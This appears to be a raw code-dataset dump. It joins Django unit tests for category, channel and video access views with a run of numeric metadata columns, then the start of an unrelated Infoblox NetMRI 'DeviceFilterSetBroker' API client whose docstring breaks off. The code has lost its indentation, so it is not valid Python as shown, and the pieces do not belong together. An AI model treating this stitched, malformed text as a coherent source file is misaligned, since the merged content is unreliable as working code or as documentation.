def test_access_private_category_authenticated_with_other_user(self):
other_user = User.objects.create_user(
"otheruser", "otheruser@test.com", "otheruserpassword"
)
self.client.login(username=other_user.username, password="otheruserpassword")
url = reverse(
"channels:category_details",
args=(self.user.username, self.private_category.slug,),
)
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
def test_access_category_that_does_not_exists(self):
url = reverse(
"channels:category_details",
args=(self.user.username, "this-slug-does-not-exist"),
)
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
def test_access_user_that_does_not_exists(self):
url = reverse(
"channels:category_details",
args=("this-user-does-not-exist", self.public_category.slug),
)
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
def test_access_public_category_of_another_user(self):
other_user = User.objects.create_user(
"otheruser", "otheruser@test.com", "otheruserpassword"
)
self.client.login(username=other_user.username, password="otheruserpassword")
url = reverse(
"channels:category_details",
args=(self.user.username, self.public_category.slug,),
)
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
def test_context_has_list_of_all_categories_of_logged_user(self):
self.client.login(username=self.user.username, password="userpassword")
url = reverse(
"channels:category_details",
args=(self.user.username, self.public_category.slug,),
)
response = self.client.get(url)
self.assertTrue("categories" in response.context)
self.assertTrue(
list(response.context["categories"])
== [self.private_category, self.public_category]
)
def test_context_has_list_of_public_categories_for_not_logged_user(self):
another_public_category = baker.make(Category, public=True, user=self.user)
url = reverse(
"channels:category_details",
args=(self.user.username, self.public_category.slug,),
)
response = self.client.get(url)
self.assertTrue("categories" in response.context)
self.assertTrue(
list(response.context["categories"])
== [self.public_category, another_public_category]
)
class CategoryDetailTestCase(TestCase):
def setUp(self):
self.category = baker.make(Category, public=True)
self.channel = baker.make(Channel)
self.category.channels.add(self.channel)
def test_context_has_list_of_videos(self):
url = reverse(
"channels:category_details",
args=(self.category.user.username, self.category.slug,),
)
response = self.client.get(url)
self.assertTrue("videos" in response.context)
self.assertTrue(response.context["videos"] == [])
def test_return_videos_of_category(self):
published_date = timezone.now()
videos = [
baker.make(Video, channel=self.channel, published_date=published_date),
baker.make(Video, channel=self.channel, published_date=published_date),
]
url = reverse(
"channels:category_details",
args=(self.category.user.username, self.category.slug,),
)
response = self.client.get(url)
self.assertTrue(response.context["videos"] == videos)
def test_return_last_24h_videos_of_category_by_default(self):
just_now = timezone.now()
video_last_24h = baker.make(
Video, channel=self.channel, published_date=just_now
)
older_than_24h = just_now - datetime.timedelta(hours=24, minutes=1)
video_older_than_24h = baker.make(
Video, channel=self.channel, published_date=older_than_24h
)
url = reverse(
"channels:category_details",
args=(self.category.user.username, self.category.slug,),
)
response = self.client.get(url)
self.assertTrue(video_last_24h in response.context["videos"])
self.assertTrue(video_older_than_24h not in response.context["videos"])
def test_return_last_week_videos_of_category_if_query_string_week(self):
last_week = timezone.now() - datetime.timedelta(days=7)
older_than_week = last_week - datetime.timedelta(minutes=1)
video_last_week = baker.make(
Video, channel=self.channel, published_date=last_week
)
older_than_week_video = baker.make(
Video, channel=self.channel, published_date=older_than_week
)
base_url = reverse(
"channels:category_details",
args=(self.category.user.username, self.category.slug,),
)
url = f"{base_url}?period=week"
response = self.client.get(url)
self.assertTrue(video_last_week in response.context["videos"])
self.assertTrue(older_than_week_video not in response.context["videos"])
def test_return_last_week_videos_of_category_if_query_string_all(self):
last_week = timezone.now() - datetime.timedelta(days=7)
older_than_week = last_week - datetime.timedelta(minutes=10)
video_last_week = baker.make(
Video, channel=self.channel, published_date=last_week
)
older_than_week_video = baker.make(
Video, channel=self.channel, published_date=older_than_week
)
base_url = reverse(
"channels:category_details",
args=(self.category.user.username, self.category.slug,),
)
url = f"{base_url}?period=all"
response = self.client.get(url)
self.assertTrue(video_last_week in response.context["videos"])
self.assertTrue(older_than_week_video in response.context["videos"])
def test_return_videos_only_of_category(self):
published_date = timezone.now()
category_video = baker.make(
Video, channel=self.channel, published_date=published_date
)
video_of_another_category = baker.make(
Video, title="Video of another category", published_date=published_date
)
url = reverse(
"channels:category_details",
args=(self.category.user.username, self.category.slug,),
)
response = self.client.get(url)
self.assertTrue(category_video in response.context["videos"])
self.assertTrue(video_of_another_category not in response.context["videos"])
def test_return_videos_in_descending_published_date_order(self):
base_published_date = timezone.now()
oldest_video = baker.make(
Video,
channel=self.channel,
published_date=base_published_date - datetime.timedelta(hours=2),
)
video = baker.make(
Video,
channel=self.channel,
published_date=base_published_date - datetime.timedelta(hours=1),
)
newest_video = baker.make(
Video, channel=self.channel, published_date=base_published_date
)
url = reverse(
"channels:category_details",
args=(self.category.user.username, self.category.slug,),
)
response = self.client.get(url)
self.assertTrue(
response.context["videos"] == [newest_video, video, oldest_video]
)
class CategoryDetailAddChannelTestCase(TestCase):
def setUp(self):
self.user = User.objects.create_user("user", "user@test.com", "userpassword")
self.category = baker.make(Category, public=True, user=self.user)
def test_logged_user_has_add_channel_form_available_on_own_category(self):
self.client.login(username=self.user.username, password="userpassword")
url = reverse(
"channels:category_details",
args=(self.category.user.username, self.category.slug,),
)
response = self.client.get(url)
selector = Selector(text=response.content.decode("utf-8"))
self.assertTrue(selector.css("#add-channel-form"))
self.assertTrue(selector.css("#add-channel-button"))
def test_logged_user_has_not_add_channel_form_available_on_other_user_category(
self,
):
self.client.login(username=self.user.username, password="userpassword")
other_user_category = baker.make(Category, public=True)
self.assertNotEqual(other_user_category.user, self.user)
url = reverse(
"channels:category_details",
args=(other_user_category.user.username, other_user_category.slug,),
)
response = self.client.get(url)
selector = Selector(text=response.content.decode("utf-8"))
self.assertFalse(selector.css("#add-channel-form"))
self.assertFalse(selector.css("#add-channel-button"))
def test_not_logged_user_has_no_access_to_add_channel_form(self):
url = reverse(
"channels:category_details",
args=(self.category.user.username, self.category.slug,),
)
response = self.client.get(url)
selector = Selector(text=response.content.decode("utf-8"))
self.assertFalse(selector.css("#add-channel-form"))
self.assertFalse(selector.css("#add-channel-button"))
class NotLoggedUserDetailsTestCase(TestCase):
def test_accessing_non_existing_user(self):
url = reverse("channels:user_details", args=("i_do_not_exist",))
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
def test_accessing_user_without_public_category(self):
user = User.objects.create_user("user", "user@test.com", "userpassword")
baker.make(Category, user=user, public=False)
url = reverse("channels:user_details", args=(user,))
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
def test_accessing_user_with_public_category(self):
user = User.objects.create_user("user", "user@test.com", "userpassword")
baker.make(Category, user=user, public=True)
url = reverse("channels:user_details", args=(user,))
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
def test_has_public_categories_list_on_context(self):
user = User.objects.create_user("user", "user@test.com", "userpassword")
public_category = baker.make(Category, user=user, public=True)
private_category = baker.make(Category, user=user, public=False)
url = reverse("channels:user_details", args=(user,))
response = self.client.get(url)
self.assertTrue("categories" in response.context)
categories = response.context["categories"]
self.assertTrue(len(categories) == 1)
self.assertTrue(public_category in categories)
def test_has_videos_list_of_public_categories_on_context(self):
user = User.objects.create_user("user", "user@test.com", "userpassword")
public_category = baker.make(Category, user=user, public=True)
public_channel = baker.make(Channel)
public_category.channels.add(public_channel)
public_video = baker.make(Video, channel=public_channel)
private_category = baker.make(Category, user=user, public=False)
private_channel = baker.make(Channel)
private_category.channels.add(private_channel)
private_video = baker.make(Video, channel=private_channel)
url = reverse("channels:user_details", args=(user,))
response = self.client.get(url)
self.assertTrue("videos" in response.context)
videos = response.context["videos"]
self.assertTrue(len(videos) == 1)
self.assertTrue(public_video in videos)
class LoggedUserDetailsTestCase(TestCase):
def setUp(self):
self.user = User.objects.create_user("user", "user@test.com", "userpassword")
self.client.login(username=self.user.username, password="userpassword")
def test_accessing_non_existing_user(self):
url = reverse("channels:user_details", args=("i_do_not_exist",))
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
def test_accessing_logger_user(self):
url = reverse("channels:user_details", args=(self.user.username,))
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
def test_accessing_other_user_without_public_category(self):
other_user = baker.make(User)
baker.make(Category, user=other_user, public=False)
url = reverse("channels:user_details", args=(other_user,))
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
def test_accessing_other_user_with_public_category(self):
other_user = baker.make(User)
baker.make(Category, user=other_user, public=True)
url = reverse("channels:user_details", args=(other_user,))
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
| 38.114213
| 85
| 0.666178
| 1,739
| 15,017
| 5.52904
| 0.078781
| 0.036401
| 0.052418
| 0.061154
| 0.836609
| 0.797088
| 0.781279
| 0.747686
| 0.734373
| 0.703692
| 0
| 0.006094
| 0.224213
| 15,017
| 393
| 86
| 38.211196
| 0.819227
| 0
| 0
| 0.548077
| 0
| 0
| 0.09723
| 0.05028
| 0
| 0
| 0
| 0
| 0.137821
| 1
| 0.102564
| false
| 0.051282
| 0.025641
| 0
| 0.144231
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
7479261d8ef25a2c2e0404ec48b32e24bd6ab4a1
| 51,137
|
py
|
Python
|
infoblox_netmri/api/broker/v3_8_0/device_filter_set_broker.py
|
infobloxopen/infoblox_netmri
|
aa1c744df7e439dbe163bb9edd165e4e85a9771b
|
[
"Apache-2.0"
] | 12
|
2016-02-19T12:37:54.000Z
|
2022-03-04T20:11:08.000Z
|
infoblox_netmri/api/broker/v3_8_0/device_filter_set_broker.py
|
azinfoblox/infoblox-netmri
|
02372c5231e2677ab6299cb659a73c9a41b4b0f4
|
[
"Apache-2.0"
] | 18
|
2015-11-12T18:37:00.000Z
|
2021-05-19T07:59:55.000Z
|
infoblox_netmri/api/broker/v3_8_0/device_filter_set_broker.py
|
azinfoblox/infoblox-netmri
|
02372c5231e2677ab6299cb659a73c9a41b4b0f4
|
[
"Apache-2.0"
] | 18
|
2016-01-07T12:04:34.000Z
|
2022-03-31T11:05:41.000Z
|
from ..broker import Broker
class DeviceFilterSetBroker(Broker):
controller = "device_filter_sets"
def show(self, **kwargs):
"""Shows the details for the specified device filter set.
**Inputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` True
| ``default:`` None
:param DeviceFilterSetID: The internal NetMRI identifier for this rule list.
:type DeviceFilterSetID: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param methods: A list of device filter set methods. The listed methods will be called on each device filter set returned and included in the output. Available methods are: data_source, device.
:type methods: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: data_source, device.
:type include: Array of String
**Outputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:return device_filter_set: The device filter set identified by the specified DeviceFilterSetID.
:rtype device_filter_set: DeviceFilterSet
"""
return self.api_request(self._get_method_fullname("show"), kwargs)
def index(self, **kwargs):
"""Lists the available device filter sets. Any of the inputs listed may be be used to narrow the list; other inputs will be ignored. Of the various ways to query lists, using this method is most efficient.
**Inputs**
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceFilterSetID: The internal NetMRI identifier for this rule list.
:type DeviceFilterSetID: Array of Integer
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceID: The internal NetMRI identifier for the device to which this rule list belongs.
:type DeviceID: Array of Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupID: The internal NetMRI identifier of the device groups to which to limit the results.
:type DeviceGroupID: Array of Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param timestamp: The data returned will represent the device filter sets as of this date and time. If omitted, the result will indicate the most recently collected data.
:type timestamp: DateTime
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param methods: A list of device filter set methods. The listed methods will be called on each device filter set returned and included in the output. Available methods are: data_source, device.
:type methods: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: data_source, device.
:type include: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 0
:param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information.
:type start: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 1000
:param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000.
:type limit: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` DeviceFilterSetID
:param sort: The data field(s) to use for sorting the output. Default is DeviceFilterSetID. Valid values are DeviceFilterSetID, DeviceID, DataSourceID, FltSetFirstSeenTime, FltSetStartTime, FltSetEndTime, FltSetTimestamp, FltSetChangedCols, FltSetName, FltSetIPVersion, FltSetUseCount, FltSetArtificialInd, FltSetConfigText, FltSetProvisionData.
:type sort: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` asc
:param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'.
:type dir: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param select: The list of attributes to return for each DeviceFilterSet. Valid values are DeviceFilterSetID, DeviceID, DataSourceID, FltSetFirstSeenTime, FltSetStartTime, FltSetEndTime, FltSetTimestamp, FltSetChangedCols, FltSetName, FltSetIPVersion, FltSetUseCount, FltSetArtificialInd, FltSetConfigText, FltSetProvisionData. If empty or omitted, all attributes will be returned.
:type select: Array
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_field: The field name for NIOS GOTO that is used for locating a row position of records.
:type goto_field: String
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records.
:type goto_value: String
**Outputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:return device_filter_sets: An array of the DeviceFilterSet objects that match the specified input criteria.
:rtype device_filter_sets: Array of DeviceFilterSet
"""
return self.api_list_request(self._get_method_fullname("index"), kwargs)
def search(self, **kwargs):
"""Lists the available device filter sets matching the input criteria. This method provides a more flexible search interface than the index method, but searching using this method is more demanding on the system and will not perform to the same level as the index method. The input fields listed below will be used as in the index method, to filter the result, along with the optional query string and XML filter described below.
**Inputs**
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DataSourceID: The internal NetMRI identifier for the collector NetMRI that collected this data record.
:type DataSourceID: Array of Integer
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceFilterSetID: The internal NetMRI identifier for this rule list.
:type DeviceFilterSetID: Array of Integer
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceID: The internal NetMRI identifier for the device to which this rule list belongs.
:type DeviceID: Array of Integer
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetArtificialInd: A flag indicating that this rule list has no counterpart in the device configuration.
:type FltSetArtificialInd: Array of Boolean
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetChangedCols: The fields that changed between this revision of the record and the previous revision.
:type FltSetChangedCols: Array of String
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetConfigText: The original text of the definition of this rule list in the device configuration.
:type FltSetConfigText: Array of String
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetEndTime: The ending effective time of this record, or empty if still in effect.
:type FltSetEndTime: Array of DateTime
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetFirstSeenTime: The timestamp of when NetMRI first discovered this rule list.
:type FltSetFirstSeenTime: Array of DateTime
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetIPVersion: the IP version of the packets filtered by this rule list - default is 4.
:type FltSetIPVersion: Array of Integer
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetName: The name of this rule-list.
:type FltSetName: Array of String
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetProvisionData: Internal data - do not modify, may change without warning.
:type FltSetProvisionData: Array of String
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetStartTime: The starting effective time of this record.
:type FltSetStartTime: Array of DateTime
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetTimestamp: The date and time this record was collected or calculated.
:type FltSetTimestamp: Array of DateTime
| ``api version min:`` 2.6
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param FltSetUseCount: The number of usage of this rule list inside the configuration (may be for filtering or for NAT, vpn etc).
:type FltSetUseCount: Array of Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupID: The internal NetMRI identifier of the device groups to which to limit the results.
:type DeviceGroupID: Array of Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param timestamp: The data returned will represent the device filter sets as of this date and time. If omitted, the result will indicate the most recently collected data.
:type timestamp: DateTime
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param methods: A list of device filter set methods. The listed methods will be called on each device filter set returned and included in the output. Available methods are: data_source, device.
:type methods: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: data_source, device.
:type include: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 0
:param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information.
:type start: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 1000
:param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000.
:type limit: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` DeviceFilterSetID
:param sort: The data field(s) to use for sorting the output. Default is DeviceFilterSetID. Valid values are DeviceFilterSetID, DeviceID, DataSourceID, FltSetFirstSeenTime, FltSetStartTime, FltSetEndTime, FltSetTimestamp, FltSetChangedCols, FltSetName, FltSetIPVersion, FltSetUseCount, FltSetArtificialInd, FltSetConfigText, FltSetProvisionData.
:type sort: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` asc
:param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'.
:type dir: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param select: The list of attributes to return for each DeviceFilterSet. Valid values are DeviceFilterSetID, DeviceID, DataSourceID, FltSetFirstSeenTime, FltSetStartTime, FltSetEndTime, FltSetTimestamp, FltSetChangedCols, FltSetName, FltSetIPVersion, FltSetUseCount, FltSetArtificialInd, FltSetConfigText, FltSetProvisionData. If empty or omitted, all attributes will be returned.
:type select: Array
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_field: The field name for NIOS GOTO that is used for locating a row position of records.
:type goto_field: String
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records.
:type goto_value: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param query: This value will be matched against device filter sets, looking to see if one or more of the listed attributes contain the passed value. You may also surround the value with '/' and '/' to perform a regular expression search rather than a containment operation. Any record that matches will be returned. The attributes searched are: DataSourceID, DeviceFilterSetID, DeviceID, FltSetArtificialInd, FltSetChangedCols, FltSetConfigText, FltSetEndTime, FltSetFirstSeenTime, FltSetIPVersion, FltSetName, FltSetProvisionData, FltSetStartTime, FltSetTimestamp, FltSetUseCount.
:type query: String
| ``api version min:`` 2.3
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param xml_filter: A SetFilter XML structure to further refine the search. The SetFilter will be applied AFTER any search query or field values, but before any limit options. The limit and pagination will be enforced after the filter. Remind that this kind of filter may be costly and inefficient if not associated with a database filtering.
:type xml_filter: String
**Outputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:return device_filter_sets: An array of the DeviceFilterSet objects that match the specified input criteria.
:rtype device_filter_sets: Array of DeviceFilterSet
"""
return self.api_list_request(self._get_method_fullname("search"), kwargs)
def find(self, **kwargs):
"""Lists the available device filter sets matching the input specification. This provides the most flexible search specification of all the query mechanisms, enabling searching using comparison operations other than equality. However, it is more complex to use and will not perform as efficiently as the index or search methods. In the input descriptions below, 'field names' refers to the following fields: DataSourceID, DeviceFilterSetID, DeviceID, FltSetArtificialInd, FltSetChangedCols, FltSetConfigText, FltSetEndTime, FltSetFirstSeenTime, FltSetIPVersion, FltSetName, FltSetProvisionData, FltSetStartTime, FltSetTimestamp, FltSetUseCount.
**Inputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_DataSourceID: The operator to apply to the field DataSourceID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DataSourceID: The internal NetMRI identifier for the collector NetMRI that collected this data record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_DataSourceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_DataSourceID: If op_DataSourceID is specified, the field named in this input will be compared to the value in DataSourceID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DataSourceID must be specified if op_DataSourceID is specified.
:type val_f_DataSourceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_DataSourceID: If op_DataSourceID is specified, this value will be compared to the value in DataSourceID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DataSourceID must be specified if op_DataSourceID is specified.
:type val_c_DataSourceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_DeviceFilterSetID: The operator to apply to the field DeviceFilterSetID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceFilterSetID: The internal NetMRI identifier for this rule list. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_DeviceFilterSetID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_DeviceFilterSetID: If op_DeviceFilterSetID is specified, the field named in this input will be compared to the value in DeviceFilterSetID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceFilterSetID must be specified if op_DeviceFilterSetID is specified.
:type val_f_DeviceFilterSetID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_DeviceFilterSetID: If op_DeviceFilterSetID is specified, this value will be compared to the value in DeviceFilterSetID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceFilterSetID must be specified if op_DeviceFilterSetID is specified.
:type val_c_DeviceFilterSetID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_DeviceID: The operator to apply to the field DeviceID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceID: The internal NetMRI identifier for the device to which this rule list belongs. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_DeviceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_DeviceID: If op_DeviceID is specified, the field named in this input will be compared to the value in DeviceID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceID must be specified if op_DeviceID is specified.
:type val_f_DeviceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_DeviceID: If op_DeviceID is specified, this value will be compared to the value in DeviceID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceID must be specified if op_DeviceID is specified.
:type val_c_DeviceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetArtificialInd: The operator to apply to the field FltSetArtificialInd. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetArtificialInd: A flag indicating that this rule list has no counterpart in the device configuration. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetArtificialInd: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_FltSetArtificialInd: If op_FltSetArtificialInd is specified, the field named in this input will be compared to the value in FltSetArtificialInd using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetArtificialInd must be specified if op_FltSetArtificialInd is specified.
:type val_f_FltSetArtificialInd: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetArtificialInd: If op_FltSetArtificialInd is specified, this value will be compared to the value in FltSetArtificialInd using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetArtificialInd must be specified if op_FltSetArtificialInd is specified.
:type val_c_FltSetArtificialInd: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetChangedCols: The operator to apply to the field FltSetChangedCols. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetChangedCols: The fields that changed between this revision of the record and the previous revision. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetChangedCols: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_FltSetChangedCols: If op_FltSetChangedCols is specified, the field named in this input will be compared to the value in FltSetChangedCols using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetChangedCols must be specified if op_FltSetChangedCols is specified.
:type val_f_FltSetChangedCols: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetChangedCols: If op_FltSetChangedCols is specified, this value will be compared to the value in FltSetChangedCols using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetChangedCols must be specified if op_FltSetChangedCols is specified.
:type val_c_FltSetChangedCols: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetConfigText: The operator to apply to the field FltSetConfigText. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetConfigText: The original text of the definition of this rule list in the device configuration. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetConfigText: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_FltSetConfigText: If op_FltSetConfigText is specified, the field named in this input will be compared to the value in FltSetConfigText using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetConfigText must be specified if op_FltSetConfigText is specified.
:type val_f_FltSetConfigText: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetConfigText: If op_FltSetConfigText is specified, this value will be compared to the value in FltSetConfigText using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetConfigText must be specified if op_FltSetConfigText is specified.
:type val_c_FltSetConfigText: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetEndTime: The operator to apply to the field FltSetEndTime. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetEndTime: The ending effective time of this record, or empty if still in effect. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetEndTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_FltSetEndTime: If op_FltSetEndTime is specified, the field named in this input will be compared to the value in FltSetEndTime using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetEndTime must be specified if op_FltSetEndTime is specified.
:type val_f_FltSetEndTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetEndTime: If op_FltSetEndTime is specified, this value will be compared to the value in FltSetEndTime using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetEndTime must be specified if op_FltSetEndTime is specified.
:type val_c_FltSetEndTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetFirstSeenTime: The operator to apply to the field FltSetFirstSeenTime. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetFirstSeenTime: The timestamp of when NetMRI first discovered this rule list. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetFirstSeenTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
